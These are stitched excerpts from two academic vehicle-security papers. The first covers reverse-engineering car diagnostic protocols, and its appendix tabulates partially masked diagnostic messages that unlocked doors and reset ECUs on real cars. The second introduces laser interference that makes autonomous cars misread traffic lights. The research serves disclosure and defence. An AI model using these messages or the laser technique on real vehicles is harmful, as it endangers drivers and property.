For VW Passat, the diagnostic tool (i.e., AUTEL 919) discov-
ers 18 ECUs, but only 10 of them can be discovered by the
app (i.e., “Carly for VAG”). Other ECUs (e.g., Airbag) are
missed by the app. For Toyota Corolla, the diagnostic tool
(i.e., AUTEL 919) discovers 31 ECUs, but only 14 of them
can be discovered by the app(i.e., “Carly for Toyota”). For
VW Passat, the diagnostic tool can read 203 ESVs (i.e., 173
KWP 2000 ESVs and 30 UDS ESVs). For Toyota Corolla, the
diagnostic tool can read 242 ESVs through UDS. However,
none of these ESVs can be read by the apps. For example, the
tool sends UDS request message “03 22 10 17” to Toyota
Corolla to get quantity of fuel injection cylinder 1. But this
request message cannot be discovered in any apps.

Answer of Q6: For the 160 telematics apps, we only find
three of them contain UDS or KWP 2000 formulas. Some
other apps only contain formulas of the OBD-II protocol.
A more detailed comparison with two vehicles shows that,
compared with telematics apps, the professional diagnostic
tools can discover more ECUs and read more ESVs.
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5 Related Work

To determine the registers of supervisory control and data
acquisition systems used to store constant, counter, or sensor
values, Erez et al. designed a decision tree [46]. However,
since it is based on fixed window size, it cannot identify the
fields whose length is not equal to the window. To identify
three kinds of fields contained in CAN messages, Markovitz
et al. dynamically changed the window size and checked the
number of values contained in the window [61].

To analyze the format of CAN messages, after putting mes-
sages of the same CAN ID in the same group, Marchetti et
al. proposed READ [60], which first calculates the bit flip
rate, bit flip magnitude and then uses them to determine phys-
ical (i.e., signal), counter, and CRC fields. Although READ
achieves high precision when processing an online dataset, it
can neither identify constant values and multiple value related
fields nor discover the type of signals stored in each field (e.g.,
engine RPM). Pes et al. proposed LibreCAN [71] to reverse
engineer the format of CAN messages. For the CAN mes-
sages collected from the vehicle, LibreCAN first enhances
READ [60] to identify fields storing ECU signal values. For
each field, LibreCAN uses cross-correlation to identify its
related powertrain-related signals. To identify CAN messages
related to body related events, LibreCAN filters out useless
messages with three stages. However, LibreCAN can neither
handle long messages transmitted via transport/network layer
protocols nor discover the nonlinear relationships between
fields and signals. CANHunter [83] performs dynamic force
execution to extract all messages sent by diagnostic apps.
However, it neither examines the diagnostic protocols nor
analyzes the processing of response messages.

Dynamic analysis has been used to recover the format of
network messages. Polyglot [42] records all instructions of
processing received messages and performs taint analysis to
infer the format. Polyglot integrates algorithms to identify
fields. To obtain outgoing message formats, Dispatcher [41]
performs backward taint analysis to build up the dependency
chain. To extract the structure of the given buffer, Dispatcher
checks the sources of current and previous buffer locations
are same or not. If false, there exists a boundary. To replay the
application communication, Replayer [68] builds a symbolic
formula of how the original host processed the communica-
tion. Then, it uses an off-the-shelf decision procedure to derive
an input tailored to a different host from the symbolic for-
mula. To construct protocol field tree, AutoFormat [58] infers
the message format based on the observation that bytes pro-
cessed under the same execution context belong to the same
message field. To recover the format of encrypted data (e.g.,
TLS encryption records), ReFormat [82] identifies the instruc-
tions of decryption algorithms and then uses AutoFormat [58]
to recover the message format. These approaches could re-
verse engineer the diagnostic protocols if we can control the
professional diagnostic equipments with root privilege.

6 Discussion
Limitations. DP-Reverser suffers from the following limita-
tions: (1) DP-Reverser requires access to both the OBD port
to collect the diagnostic messages and the diagnostic tools
to collect the sensor values. Otherwise, it does not work. (2)
Currently, DP-Reverser supports 14 kinds of functions (e.g.,
addition, subtraction, multiplication, division, square root, log,
absolute value, negative, maximum) in the genetic program-
ming library [30], without considering the non-trivial formu-
las (e.g., LFSRs, seed-key encryptions). (3) The performance
of DP-Reverser relies on the performance of the OCR engine
used to extract the sensor values from the GUI. (4) The pay-
loads of diagnostic messages should be recovered based on
the corresponding standards (e.g., ISO 15765-2 [11]), which
is the prerequisite domain knowledge to apply DP-Reverser.
(5) When analyzing the formulas contained in telematics apps,
the forward taint analysis cannot handle complex apps.

Future works. We will apply DP-Reverser to non-trivial for-
mulas to solve other practical problems in reverse engineering.
Moreover, we will enhance the performance of OCR engines
to make DP-Reverser more robust. We will improve our tool
to analyze complex telematics apps.

7 Conclusion
We propose DP-Reverser, the first automated framework to
reverse engineer the vehicle diagnostic protocols from pro-
fessional diagnostic tools. Besides the semantic information
of request messages in the diagnostic protocols, DP-Reverser
recovers the proprietary formulas used to process the response
messages. We implement DP-Reverser and conduct experi-
ments with 18 vehicles. The results show that it can accu-
rately reverse engineer the detailed information in the re-
quest/response messages of professional diagnostic tools.

8 Acknowledgement
We sincerely thank Prof. Van-Thuan Pham for shepherding
our paper and the anonymous reviewers for their constructive
comments. This work is partly supported by Hong Kong ITF
Project (No. ITS/197/17FP), Hong Kong RGC Project (No.
PolyU15223918), NSFC (No. 62002306), HKPolyU Start-up
Fund (ZVU7), CCF-Tencent Open Research Fund (ZDCK),
the Fundamental Research Funds for the Central Universities
(Zhejiang University NGICS Platform ZJUNGICS2021017,
K20200019), Leading Innovative and Entrepreneur Team
Introduction Program of Zhejiang (No. 2018R01005), and
National Science Foundation under Grant No. 1951729,
1953813, 1953893, and 1700544. Any opinions, findings, and
conclusions or recommendations expressed in this material
are those of the authors and do not necessarily reflect the
views of NSF.

1952    31st USENIX Security Symposium USENIX Association



References

[1] ISO 14230 Keyword Protocol 2000 Part 3: Imple-
mentation. http://read.pudn.com/downloads118/
ebook/500929/14230-3.pdf, 1996.

[2] Keyword Protocol 2000: Data Link Layer Recom-
mended Practice. http://www.internetsomething.
com/kwp/kwp2000_recommended_guidlines.pdf,
1997.

[3] ISO 14230-1. https://www.sis.se/api/document/
preview/612052/, 1999.

[4] ISO 14230-2. https://www.sis.se/api/document/
preview/612053/, 1999.

[5] ISO 14230-3. https://www.sis.se/api/document/
preview/895162/, 1999.

[6] Diagnostics on Controller Area Networks (CAN) - Part
3: Implementation of unified diagnostic services (UDS
on CAN). http://read.pudn.com/downloads506/
doc/2103567/ISO_15765-3.pdf, 2004.

[7] SAE J1979. https://law.resource.org/pub/us/
cfr/ibr/005/sae.j1979.2002.pdf, 2006.

[8] Unified diagnostic services (UDS) — Part 3: Uni-
fied diagnostic services on CAN implementation (UD-
SonCAN). https://www.iso.org/standard/55284.
html, 2012.

[9] Car hacking demonstration video. https://www.
youtube.com/watch?v=qt1xrRL9ULc, 2014.

[10] Zubie: This Car Safety Tool ’Could Have Given Hackers
Control Of Your Vehicle’. https://bit.ly/3adTPmq,
2014.

[11] Diagnostic communication over Controller Area Net-
work (DoCAN) — Part 2: Transport protocol and
network layer services. https://www.iso.org/
standard/66574.html, 2016.

[12] KWP 2000 and UDS Protocols for Vehicle Diagnos-
tics: An Analysis and Comparison. http://bit.ly/
2O1VNL6, 2018.

[13] Automotive most used protocols - KWP2000
and UDS. http://www.devcoons.com/
automotive-protocols-kwp2000-uds/, 2018.

[14] Experimental Security Assessment of BMW Cars: A
Summary Report. https://bit.ly/2BSP848, 2018.

[15] OBD2 PIDs for Programmers (Technical). http://
bit.ly/36RJUzH, 2018.

[16] Symbolic Regression and Genetic Program-
ming. https://jankrepl.github.io/
symbolic-regression/, 2018.

[17] What Is Kwp2000. https://gizaedu.weebly.com/
blog/what-is-kwp2000, 2018.

[18] CAN - ISO 11898 BUS-system for automo-
tive diagnostic and flash applications. https:
//automotive.softing.com/en/standards/
bus-systems/can-iso-11898.html, 2019.

[19] Controller Area Network (CAN) Overview. https:

//bit.ly/3BfL1sl, 2019.
[20] ISO 15765-2. http://canbushack.com/

iso-15765-2/, 2019.
[21] MPlayer. http://www.mplayerhq.hu/, 2019.
[22] OBD2 EXPLAINED - A SIMPLE INTRO (2019).

http://bit.ly/2FKQagH, 2019.
[23] OCR Engines. http://www.cvisiontech.com/

library/ocr/image-ocr/ocr-engines.html,
2019.

[24] Tesseract Open Source OCR Engine. https://github.
com/tesseract-ocr/tesseract, 2019.

[25] Timestamp Camera Free. http://bit.ly/2FNY1dz,
2019.

[26] UDS ISO 14229: Standardized CAN-based protocol for
diagnostics. https://automotive.softing.com/
en/standards/protocols/uds-iso-14229.html,
2019.

[27] UDS Protocol. https://www.piembsystech.com/
protocol/diagnostic-protocol/uds-protocol/,
2019.

[28] Unified diagnostic services (UDS) - Part 2: Session layer
services. https://www.iso.org/standard/77322.
html, 2019.

[29] VW Transport Protocol 2.0 (TP 2.0) for CAN bus.
https://jazdw.net/tp20, 2019.

[30] Welcome to gplearn’s documentation! https://
gplearn.readthedocs.io/en/stable/, 2019.

[31] Launch X431 V+ Full System Diagnostic Tool Bi-
Directional Scan Tool. http://www.x431tool.com/
wholesale/launch-x431-v-plus.html, 2020.

[32] Nonlinear Functions. https://bit.ly/3ck25QI,
2020.

[33] OBD-II (Check Engine Light) Trouble Codes. https:
//www.obd-codes.com/trouble_codes/, 2020.

[34] OBD ISO 15031. https://automotive.softing.
com/en/standards/protocols/obd-iso-15031.
html, 2020.

[35] OBD2 PIDs for Programmers (Technical). https://
shorturl.at/dmtIJ, 2020.

[36] AUTEL 919. https://item.jd.com/70636576685.
html, 2021.

[37] Toyota TIS Techstream. http://shorturl.at/zADOQ,
2021.

[38] D. Applegate, R. Bixby, V. Chvatal, and W. Cook. The
traveling salesman problem: a computational study.
Princeton university press, 2006.

[39] argman. EAST: An Efficient and Accurate Scene Text
Detector. https://github.com/argman/EAST, 2020.

[40] G. Barlow and C. Oh. Robustness analysis of genetic
programming controllers for unmanned aerial vehicles.
In Proc. EuroGP, 2006.

[41] J. Caballero, P. Poosankam, C. Kreibich, and D. Song.
Dispatcher: Enabling active botnet infiltration using au-
tomatic protocol reverse-engineering. In Proc. CCS,

USENIX Association 31st USENIX Security Symposium    1953

http://read.pudn.com/downloads118/ebook/500929/14230-3.pdf
http://read.pudn.com/downloads118/ebook/500929/14230-3.pdf
http://www.internetsomething.com/kwp/kwp2000_recommended_guidlines.pdf
http://www.internetsomething.com/kwp/kwp2000_recommended_guidlines.pdf
https://www.sis.se/api/document/preview/612052/
https://www.sis.se/api/document/preview/612052/
https://www.sis.se/api/document/preview/612053/
https://www.sis.se/api/document/preview/612053/
https://www.sis.se/api/document/preview/895162/
https://www.sis.se/api/document/preview/895162/
http://read.pudn.com/downloads506/doc/2103567/ISO_15765-3.pdf
http://read.pudn.com/downloads506/doc/2103567/ISO_15765-3.pdf
https://law.resource.org/pub/us/cfr/ibr/005/sae.j1979.2002.pdf
https://law.resource.org/pub/us/cfr/ibr/005/sae.j1979.2002.pdf
https://www.iso.org/standard/55284.html
https://www.iso.org/standard/55284.html
https://www.youtube.com/watch?v=qt1xrRL9ULc
https://www.youtube.com/watch?v=qt1xrRL9ULc
https://bit.ly/3adTPmq
https://www.iso.org/standard/66574.html
https://www.iso.org/standard/66574.html
http://bit.ly/2O1VNL6
http://bit.ly/2O1VNL6
http://www.devcoons.com/automotive-protocols-kwp2000-uds/
http://www.devcoons.com/automotive-protocols-kwp2000-uds/
https://bit.ly/2BSP848
http://bit.ly/36RJUzH
http://bit.ly/36RJUzH
https://jankrepl.github.io/symbolic-regression/
https://jankrepl.github.io/symbolic-regression/
https://gizaedu.weebly.com/blog/what-is-kwp2000
https://gizaedu.weebly.com/blog/what-is-kwp2000
https://automotive.softing.com/en/standards/bus-systems/can-iso-11898.html
https://automotive.softing.com/en/standards/bus-systems/can-iso-11898.html
https://automotive.softing.com/en/standards/bus-systems/can-iso-11898.html
https://bit.ly/3BfL1sl
https://bit.ly/3BfL1sl
http://canbushack.com/iso-15765-2/
http://canbushack.com/iso-15765-2/
http://www.mplayerhq.hu/
http://bit.ly/2FKQagH
http://www.cvisiontech.com/library/ocr/image-ocr/ocr-engines.html
http://www.cvisiontech.com/library/ocr/image-ocr/ocr-engines.html
https://github.com/tesseract-ocr/tesseract
https://github.com/tesseract-ocr/tesseract
http://bit.ly/2FNY1dz
https://automotive.softing.com/en/standards/protocols/uds-iso-14229.html
https://automotive.softing.com/en/standards/protocols/uds-iso-14229.html
https://www.piembsystech.com/protocol/diagnostic-protocol/uds-protocol/
https://www.piembsystech.com/protocol/diagnostic-protocol/uds-protocol/
https://www.iso.org/standard/77322.html
https://www.iso.org/standard/77322.html
https://jazdw.net/tp20
https://gplearn.readthedocs.io/en/stable/
https://gplearn.readthedocs.io/en/stable/
http://www.x431tool.com/wholesale/launch-x431-v-plus.html
http://www.x431tool.com/wholesale/launch-x431-v-plus.html
https://bit.ly/3ck25QI
https://www.obd-codes.com/trouble_codes/
https://www.obd-codes.com/trouble_codes/
https://automotive.softing.com/en/standards/protocols/obd-iso-15031.html
https://automotive.softing.com/en/standards/protocols/obd-iso-15031.html
https://automotive.softing.com/en/standards/protocols/obd-iso-15031.html
https://shorturl.at/dmtIJ
https://shorturl.at/dmtIJ
https://item.jd.com/70636576685.html
https://item.jd.com/70636576685.html
http://shorturl.at/zADOQ
https://github.com/argman/EAST


2009.
[42] J. Caballero, H. Yin, Z. Liang, and D. Song. Polyglot:

Automatic extraction of protocol message format using
dynamic binary analysis. In Proc. CCS, 2007.

[43] J. Canny. A computational approach to edge detection.
TPAMI, 1986.

[44] P. Day and A. Nandi. Robust text-independent speaker
verification using genetic programming. IEEE Tran.
TASLP, 2006.

[45] CSS Electronics. CAN BUS EXPLAINED - A SIMPLE
INTRO. https://bit.ly/3mm5up2, 2019.

[46] N. Erez and A. Wool. Control variable classification,
modeling and anomaly detection in modbus/tcp scada
systems. IJCIP, 2015.

[47] D. Forsyth and J. Ponce. Computer vision: a modern ap-
proach. Prentice Hall Professional Technical Reference,
2002.

[48] D. Frassinelli, S. Park, and S. Nürnberger. <<i know
where you parked last summer>> automated reverse
engineering and privacy analysis of modern cars. In
Proc. S&P, 2020.

[49] Y. Fratantonio, A. Bianchi, W. Robertson, E. Kirda,
C. Kruegel, and G. Vigna. Triggerscope: Towards de-
tecting logic bombs in android applications. In Proc.
SP, 2016.

[50] F. Garcia and D. Oswald. A New Wireless Hack Can
Unlock 100 Million Volkswagens. https://bit.ly/
3iAUvXL, 2016.

[51] V. Hodge and J. Austin. A survey of outlier detection
methodologies. Artificial intelligence review, 2004.

[52] T. Hu, W. Banzhaf, and J. Moore. Robustness and evolv-
ability of recombination in linear genetic programming.
In Proc. EuroGP, 2013.

[53] P. Jing, Q. Tang, Y. Du, L. Xue, X. Luo, T. Wang, S. Nie,
and S. Wu. Too good to be safe: Tricking lane detection
in autonomous driving with crafted perturbations. In
Proc. USENIX Security, 2021.

[54] M. Kang and J. Kang. Intrusion detection system us-
ing deep neural network for in-vehicle network security.
PloS one, 2016.
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9 Appendix

9.1 Three categories of diagnostic tools

Professional handheld 
diagnostic equipment

Professional diagnostic 
software

OBD based telematics app

Figure 8: Three categories of diagnostic tools.

Fig. 8 shows three categories of diagnostic tools. (1) The
professional handheld diagnostic equipment can cover 90%

of vehicle models on the market. For each vehicle model, the
equipment can: a) Scan all ECUs to perform diagnoses; b)
Control ECUs to perform active test (e.g., turn fuel pump
on/off); c) Perform ECU coding (i.e., reprogram adaptive
data). (2) The professional diagnostic software can read data
flow from ECUs, scan trouble codes, or use OBD-II protocol
to read emission related data. (3) The OBD based telemat-
ics apps can read emission related data. If the apps or the
third-party libraries in these apps have the vulnerabilities [87]
or bugs [85] that can let attackers gain the root permission,
attackers can leverage these vulnerabilities to control the com-
munications between the apps and ECUs.

9.2 Response Analysis of Telematics Apps
When processing the response messages, if one response mes-
sage contains ESV, a formula will be used to transform it to
actual ESV. To extract these formulas, as shown in Alg. 1, we
first perform forward taint analysis to identify all the state-
ments that use the content of response messages. Then, we
extract the processing statements containing mathematical op-
erators (e.g., +,−,∗,/). We also identify the condition under
which the formula will be used.

Algorithm 1: Formula extraction of app
Input: Stmts: Set of statements contained in the app, APIs: Set of

framework APIs that read the response messages.
Output: Formulas: List of formulas extracted from the app,

Conditions: List of conditions of each formula.
1 Function FormulaExtraction(Stmts,APIs):
2 Formulas = [];
3 Conditions = [];
4 foreach stmt ∈ Stmts do
5 if stmt invokes api && api ∈ APIs then
6 ProcStmts = forwardTaintAnalysis(stmt);
7 foreach procstmt ∈ ProcStmts do
8 if procstmt includes math operations then
9 DDStmts=getDataDepStmts(procstmt);

10 f ormula=extractFormula(DDStmts);
11 Formulas.add( f ormula);
12 CDStmts=getControlDepStmts(procstmt);
13 condition=generateCondition(CDStmts);
14 Conditions.add(condition);
15 end
16 end
17 end
18 end
19 return Formulas, Conditions;

For each Android app, to identify the statements processing
the response message, we add a taint tag to the buffer stor-
ing response message and perform forward taint analysis. In
detail, for the statement that can receive response messages
(e.g., InputStream.read(byte[])), we identify the variable
of the data buffer and add a taint tag to it because it stores the
content of the response message (Alg.1 line 4-5). Then, we
perform forward taint analysis from these tainted variables
because the it can identify all statements that use the tainted
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1   $z0_17 = virtualinvoke $r7_18.<java.lang.String: boolean startsWith(java.lang.String)>("41 0C")
2   if $z0_17 == 0 goto $d1_2 = Phi($d1, $d1_1)
3   $r7_19 = virtualinvoke $r7_18.<java.lang.String: java.lang.String replace
                                                (java.lang.CharSequence,java.lang.CharSequence)>("41 0C", " ")
4   $r7_20 = virtualinvoke $r7_19.<java.lang.String: java.lang.String trim()>()
5   $r9 = virtualinvoke $r7_20.<java.lang.String: java.lang.String[] split(java.lang.String)>(" ")
6   $r7_21 = $r9[0]
7   $i2_3 = staticinvoke <java.lang.Integer: int parseInt(java.lang.String,int)>($r7_21, 16)
8   $r7_22 = $r9[1]
9   $i7 = staticinvoke <java.lang.Integer: int parseInt(java.lang.String,int)>($r7_22, 16)
10  $d0 = (double) $i2_3
11  $d0_1 = 64.0 * $d0
12  $d1 = (double) $i7
13  $d1_1 = $d1 * 0.25
14  $d0_2 = $d1_1 + $d0_1

Data dependency relation
Control dependency relation

Figure 9: Example of processing response message.
variables (Alg.1 line 6). For example, in Fig. 9, since the vari-
able $7_18 stores the hex string of a response message, we
extract line 1-14 by performing static taint analysis.

For each statement identified through forward taint anal-
ysis, we check if it contains mathematical operators (e.g.,
+,−,∗,/) or not (Alg.1 line 7-8). If true, we leverage the data
dependency relations to extract the statements calculating the
final result (Alg.1 line 9). We extract the formula from these
statements and add it to the output (Alg.1 line 10-11). For
example, in Fig. 9, line 11,13,14 are identified since they con-
tain mathematical operators. We focus on line 14 since it is
executed after lines 11 and 13. By analyzing the data depen-
dency relations of line 14, we discover that lines 13,12,9 and
lines 11,10,7 are used to calculate the final result. Thus, the
corresponding formula is “v1∗0.25+64∗v2”. The v1 and v2
are the int values extracted from the response message. Note
that the data dependency relation analysis stops at lines 7 and
9 since they extract int values from the response message.

To discover the condition under which the formula will
be used, for each processing statement with mathematical
operators, we leverage the control dependency relation to
identify the related branch statement (if, switch) (Alg.1 line
12). Control dependency means if the condition of the branch
statement is (not) satisfied, the processing statement will be
executed [49]. For each variable used in the branch statement,
we check the statement that defines it to discover which field
value of the response message is checked (Alg.1 line 13). We
record the condition in the output. For example, in Fig. 9,
the formula in line 14 is calculated when the condition in
line 2 is checked. We can infer that the formula is calculated
when the prefix of the response message is “41 0C” since
the variable $z0_17 in the branch statement is generated by
calling String.startsWith(“41 0C”).

9.3 Attack Real Vehicles With the Reverse En-
gineering Result

Approach To show the usage of the reverse engineering result
of diagnostic tools, we conduct experiment with four real
vehicles (i.e., BMW i3, Lexus NX300, Toyota Corolla, and
Kia). Based on the reverse engineering result, we send the
diagnostic messages to read data, control ECUs, or reset ECUs
of the vehicles. Then, we check if the attack success or not.
Result: We test the diagnostic messages shown in Tab. 13. All

of them succeed when the vehicles are running. For example,
by sending the diagnostic message 40 05 30 11 00 ... 00
to Toyota Corolla, we can successfully unlock all doors when
the vehicle is running.
Table 13: Using reverse engineered diagnostic messages to
attack BMW i3, Lexus NX300, Toyota Corolla, and Kia. Note
that part of each message is hidden to avoid being abused.

Diagnostic Message(BMW) Functions
29 03 22 DB ... E5 Read brake pressure
12 03 22 DE ... 9C Read accelerator position
43 05 31 01 ... 03 Control high beam (FLEL)
43 05 31 01 ... 01 Control low beam (FLEL)
60 05 31 01 ... 13 Control turn light (KOMBI)
01 02 ... 01 Reset collision safety module
60 02 ... 01 Reset combination instrument
Diagnostic Message(Lexus) Functions
03 22 ... 7B Read engine speed (Engine)
03 22 ... 59 Read throttle position (Engine)
04 30 01 ... 10 Control displayed speed (KOMBI)
04 30 02 ... 08 Control engine speed (KOMBI)
Diagnostic Message(Toyota) Functions
40 05 30 11 00 ... 00 Unlock all doors
40 05 30 1C 00 ... 00 Turn on the wiper
40 05 30 11 00 ... 00 Unlock the trunk
Diagnostic Message(Kia) Functions
04 2F B0 ... 03 Unlock central lock
04 2F B0 ... 03 Turn on all light on dashboard

9.4 Alignment of Diagnostic Messages and
Screenshots of GUI

We adopt two methods to ensure the alignment of diagnostic
messages and screenshots of GUI.

(1) For the app recording the video of GUI and the software
capturing the diagnostic messages, we modify their setting so
that they will use timestamps with the precision of millisec-
ond. Moreover, before recording the video and diagnostic
messages, we put the smartphone and Windows PC in the
same local area network. Then, they use the Network Time
Protocol(NTP) [64] to synchronize their system time.

(2) Before collecting the diagnostic messages of UDS or
KWP 2000, we first use the diagnostic tools to read ESVs
by using OBD protocol. We save the request and response
messages of OBD-II protocol and the video of GUI of di-
agnostic tools to perform the alignment. Since the standard
of OBD-II protocol is well-defined, we have the format of
each request message and formula used when parsing each
response message. Thus, we can infer the real ESVs of OBD-
II protocol based on the captured diagnostic messages. Given
one response message, we calculate the real ESV and then
search the real ESV on the screenshots of GUI. If the real ESV
is found on one screenshot and the timestamps of the diag-
nostic message and screenshot are very close, we align the
diagnostic message with the screenshot. We will use the time
offset between the diagnostic message and the screenshot in
the alignment of other diagnostic messages and screenshots.
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Abstract

Traffic light recognition is essential for fully autonomous driv-
ing in urban areas. In this paper, we investigate the feasibility
of fooling traffic light recognition mechanisms by shedding
laser interference on the camera. By exploiting the rolling
shutter of CMOS sensors, we manage to inject a color stripe
overlapped on the traffic light in the image, which can cause
a red light to be recognized as a green light or vice versa. To
increase the success rate, we design an optimization method
to search for effective laser parameters based on empirical
models of laser interference. Our evaluation in emulated and
real-world setups on 2 state-of-the-art recognition systems
and 5 cameras reports a maximum success rate of 30% and
86.25% for Red-to-Green and Green-to-Red attacks. We ob-
serve that the attack is effective in continuous frames from
more than 40 meters away against a moving vehicle, which
may cause end-to-end impacts on self-driving such as run-
ning a red light or emergency stop. To mitigate the threat, we
propose redesigning the rolling shutter mechanism.

1 Introduction

A full autonomous driving requires the vehicle to behave in-
dependently not just on highways but also in urban settings,
where traffic light recognition is essential. Such systems en-
able the vehicle to visually detect and recognize the traffic
light signals so that it can respond properly. According to
NHTSA [20], intersection accidents are the second leading
cause of vehicle collisions, led only by rear-end crashes. Re-
liable traffic light recognition can effectively prevent such
accidents by provoking automatic responses of the vehicle.
For this reason, car manufacturers such as BMW [5] and parts
suppliers such as Mobileye [15] are actively developing and
testing their own traffic light recognition systems. Tesla [18]
has recently deployed traffic light recognition on their vehi-
cles in the U.S. Looking forward, we will not be surprised to

⇤This research was conducted when the author was at Zhejiang University.
†Xiaoyu Ji is the corresponding author.

see a prevalence of such systems in the near future.
Before that day, a critical question is how safe the vision-

based traffic light recognition systems are. The consequence
of erroneous recognition is severe: recognizing a red light as
green may cause intersection collisions; recognizing a green
light as red may force stop the vehicle and jam the traffic.
Previous studies have shown the insecurity of similar vision-
based object detection and recognition systems. For example,
a strong light can over-expose the camera and cause denial-of-
service of the collision avoidance system [23, 37]; a projector
can inject adversarial ghost images on an object [13, 17] or
into the camera [14] to fool the advanced driver-assistance
system. However, the security of traffic light recognition has
not been studied yet. In addition, previous attacks generally
used light that may raise stealthiness concerns and are con-
stricted to an attack distance of a few meters.

We are motivated to investigate the feasibility of fool-
ing vision-based traffic light recognition in the real world.
To achieve a stealthier effect and longer attack distance, we
choose laser as the attack signal, which is a very narrow and
energy-concentrated beam of light. We envision that a laser
shed into the camera’s lens may modify the captured im-
ages and affect any subsequent recognition systems. However,
such an attack is non-trivial due to the following reasons. (1)
Though cameras are known to be susceptible to optical inter-
ference, a laser can easily saturate the CMOS sensor in the
camera and render the entire image unrecognizable. It is un-
known whether a laser can modify the image in a controllable
way, especially only around the traffic light’s area. (2) Traffic
light detection is normally performed before recognition. The
attacker needs to ensure that the laser interference does not
disrupt the traffic light detection so that it can fool the recog-
nition. (3) The red, green, and yellow lamps are on different
parts of a traffic light. It is unknown whether and how an
attacker can cause a red light to be recognized as a green light
(or vice versa) without physically altering the lamps.

In this paper, we overcome these challenges and validate
the attack’s feasibility. After studying all potential effects a
laser may impose on camera imaging, we manage to create
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a color stripe overlapped on the traffic light in the image by
exploiting the inherent vulnerability of the camera’s rolling
shutter. Our experiments show that color stripes of specific
cases will not disrupt the traffic light detection and can cause
desired color recognition results. To achieve a higher success
rate, we empirically model the laser attack process and search
for effective laser parameters based on simulated images un-
der attack. We find that the attack can succeed with a wide
range of laser parameters, suggesting high robustness to the
uncertainties in real attack scenarios. We evaluate the attack
in both emulated and real-world setups using real traffic light,
laser diodes, and 5 cameras on 2 state-of-the-art open-source
traffic light recognition systems. To demonstrate the potential
real-world impacts, we experiment in practical settings and
demonstrate successful attacks against a moving vehicle from
more than 40 meters away in continuous frames. We propose
rolling shutter redesign to mitigate the threat. We hope this
work can help build more security into traffic light recognition
for future autonomous vehicles.

Our contributions are summarized as follows:
• We discovered an inherent vulnerability of the rolling shut-

ters in CMOS cameras that can be exploited by laser to
create adjustable color stripes in an image, introducing a
new approach to inject adversarial image patterns.

• We experimentally validated the feasibility of fooling traffic
light recognition using laser, and proposed an optimization
method to search for the effective laser parameters by simu-
lating the attack with empirical models.

• We evaluated the attack in emulated and real-world setups
on 2 traffic light recognition systems and 5 cameras, in-
cluding one used on Tesla vehicles. The highest average
success rates are 30% and 86.25% for Red-to-Green and
Green-to-Red attacks. We built an attack equipment and
demonstrated the feasibility of attacks in practical settings
against a moving vehicle.

2 Background

2.1 Traffic Light Detection and Recognition

Traffic light (TL) recognition is generally performed after
traffic light detection. They are differentiated by the target
used when taking traffic lights as input [16]. Traffic light
detection’s target is to box out the traffic lights’ positions in a
given image. Traffic light recognition, usually taking the result
of traffic light detection as input, will further distinguish the
traffic light’s color. Usually, the autonomous vehicle system
will combine the detection and recognition step to provide
instructions to the vehicle. We briefly introduce a few state-
of-the-art methods and open-source systems.

Apollo [1] is an open autonomous driving platform devel-
oped by Baidu. It uses YOLO [24] to detect the traffic lights
and treats the recognition as a typical CNN classification
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Figure 1: Bayer filter array and rolling shutter.

task. The RetinaNet receives an image with a list of bounding
boxes with traffic lights as inputs and outputs a list with four
elements, representing four possibilities for each box to be
black, red, green, and yellow. Within red, yellow, and green,
the class with the highest possibility will be regarded as the
light’s status when the possibility is over a certain threshold.
Otherwise, the light’s status will be set to black, meaning
uncertain status.

Other than separating the detection and recognition, there
is another approach to combine these steps and treat traffic
lights with different colors as different objects when training
a classification model such as DNN. Therefore, systems [6]
developed in such an approach will directly detect and classify
red/yellow/green/black traffic lights in one step.

2.2 Camera Imaging

A camera is an optical system that can capture images. Basi-
cally, a camera uses a lens to gather light and a light-sensitive
surface (usually photographic film or a digital sensor) placed
on a focal plane to capture the image. A camera can control
the luminous flux that reaches the surface by adjusting the
aperture’s size or exposure time. The latter corresponds to the
amount of time the photosensitive surface is exposed to light,
which is controlled by a shutter. Digital cameras use digital
image sensors as the photosensitive surface that can transfer
light into digital signals. There are two major types of elec-
tronic image sensors, i.e., charge-couple device (CCD) and
complementary metal-oxide-semiconductor (CMOS) sensors.
Cameras in consumer products generally use CMOS sensors
as they are cheaper and have lower power consumption.

Image sensors capture the light intensity and can only cre-
ate grayscale images. To acquire the color information, image
sensors are typically overlaid with a “color filter array,” which
consists of tiny color filters that only allow the light within
specific wavelength ranges to pass through. Thus, the image
processing algorithm can restore the color information by
checking each pixel’s color filter arrangement. The most com-
monly used color filter array is called “Bayer Filter Array,”
which consists of alternating rows of red-green and green-blue
filters, as shown in the left of Fig. 1.

Most digital cameras adjust the exposure time by control-
ling the “on-off” of the photodiodes on the image sensor,
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Table 1: Attacker’s goals, attack scenarios, and outcomes.
Goal DoS Color Spoofing Outcome

Stop!Move N/A R!G Collision
Move!Stop Probable G!R, G!Y, G!B Trap

i.e., via electronic shutters. There are two types of electronic
shutters: global shutter and rolling shutter. Global shutters
enable the whole sensor to turn on and off simultaneously,
while cameras with rolling shutters turn on and off the pho-
todiodes row-by-row as if it is “rolling.” Therefore, cameras
with rolling shutters do not capture the entire scene at a single
time instant. Due to the readout bottleneck of CMOS image
sensors, most of them use rolling shutters. Fig. 1 demonstrates
the timing diagram of a simplified rolling shutter sensor. Rows
of pixels start exposure successively and get read out when
the row exceeds exposure time. Meanwhile, the pixels are
cleared for the next exposure. Since image rows are captured
at different time instances, taking a picture of rapidly mov-
ing objects or flashing light can cause image distortion and
skewness. We find that most cameras on vehicles (e.g., Tesla)
use rolling shutters. Apollo Auto recommends the LI-USB30-
AZ023WDRB camera, which is also a rolling shutter sensor.

3 Threat Model

3.1 Attacker’s Goal and Attack Scenarios

The attacker’s goal is to make self-driving vehicles make
incorrect decisions near traffic lights by fooling the traffic light
recognition system. In particular, there may be two scenarios:
1) Make a vehicle move while it should stop: a vehicle should
stop at red or yellow lights. Failing to stop accordingly may
cause intersection accidents. 2) Make a vehicle stop while

it should move: a vehicle should move at green lights when
there is no obstacle. Such a case may trap the vehicle and
even jam the traffic.

We envision that denial-of-service attacks and various types
of color spoofing attacks against the traffic light detection
and recognition systems may cause the above cases. Table 1
summarizes the potential attack scenarios.

Denial-of-Service (DoS) Attacks. DoS attacks aim to dis-
able traffic light detection, i.e., making a vehicle fail to detect
existing traffic lights. To fail safe, a vehicle is supposed to
slow down or stop at an intersection when no traffic light is
detected. However, a vehicle may easily notice from the map
if a traffic light is missing and take safety precautions.

Color Spoofing Attacks. Such attacks aim to alter the re-
sults of traffic light recognition, i.e., causing the traffic light’s
color status to be interpreted incorrectly. A traffic light has
four color statuses: red (R), green (G), yellow (Y), and black
(B), where black means that the light is off. We consider the
most common traffic light status to be either red or green be-
